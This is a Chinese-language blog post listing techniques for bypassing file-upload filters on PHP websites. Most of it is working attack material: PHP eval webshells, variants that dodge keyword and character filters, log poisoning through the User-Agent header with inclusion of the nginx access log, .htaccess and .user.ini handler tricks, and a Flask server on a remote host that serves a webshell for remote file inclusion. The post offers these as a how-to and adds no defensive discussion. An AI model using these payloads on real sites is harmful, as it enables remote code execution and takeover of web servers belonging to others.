文件上传部分常见绕过方法

发布于 2024-08-05  2621 次阅读


对于前端校验的文件上传:

可以打开f12在查看器里修改文件上传的关键位置的上次类型,以此绕过前端检测

例如:

改为

即可

对于后端检测的文件上传:

一.当修改前端也不能传入php文件时

可以尝试先抓包上传正常要求的文件,然后再修改文件名来达到目的

例如:

先传png 再bp改后缀成功上传并返回路径

二.当php被列入黑名单时:

可以使用:phtml php3 php4 等等来代替

如果都不行的话,可以尝试上传.ini.user解析文件来包含绕过

例如:

在上传的文件里:

auto_prepend_file=001.png

这样再传入001.png就会把001.png的内容作为php代码包含执行

三.当文件内容被检测且php被过滤时:

可以把一句话木马换为短标签木马

例如:

<?=eval($_POST[a]);?>

即可

四.当文件内容被检测且[]被过滤时:

可以使用{}来绕过检测

例如:

<?=eval($_POST{a});?>

即可

五.当文件内容被检测且[],{}, ; ,php都被过滤时:

可以尝试日志包含写马

<?=include '/var/log/nginx/access.log'?>

再在User-Agent的请求头里写入一句话木马

<?=eval($_POST[a]);?>

即可

六.当文件内容被检测且log被过滤时:

在日志包含上马时,就可能遇到这种情况

使用'.'来绕过

<?=include '/var/l'.'og/nginx/access.l'.'og'?>

即可

七.当文件内容被检测且日志包含上马时 空格,反引号被过滤

可以这样绕:

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

八.当文件内容被检测且检测文件头时:

可以用GIF89a来绕过文件头校验

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

九.当文件内容被检测且过滤了 <? 时

使用标签绕过

<script language="php">@eval($_POST['a']);</script>

使用解析文件配合来实现文件上传绕过

.htaccess解析文件绕过

文件内容如下:

<FilesMatch "xxx.jpg">   
        SetHandler application/x-httpd-php
</FilesMatch>

这是将xxx.jpg解析为php文件 可根据需要自行修改

.ini.user解析文件绕过

例如:

auto_append_file=hello.png
auto_prepend_file=hello.png

这两个一个是在文件前面 一个在文件最后插入

这里的.ini.user在配置环境允许的情况下可以实现远程文件包含

流程是:在vps上创建一个app.py文件 ,起一个flask服务并调用一个一句话木马文件,实现远程文件包含

示例操作如下:

app.py内容是:

from flask import Flask, send_file

# 创建 Flask 应用实例
app = Flask(__name__)

# 定义路由 /233,用于提供具体文件的内容
@app.route('/233')
def provide_file():
    filename = '233'  # 假设文件名为 233,确保它与 Flask 应用在同一目录下或者提供正确的路径
    return send_file(filename)

# 主程序入口
if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)

233文件里的内容是:

<?php eval($_POST['a']);?>

启动服务后在.ini.user文件中设为:

auto_append_file=http://ip:5000/233

然后访问文件上传的路径即可命令执行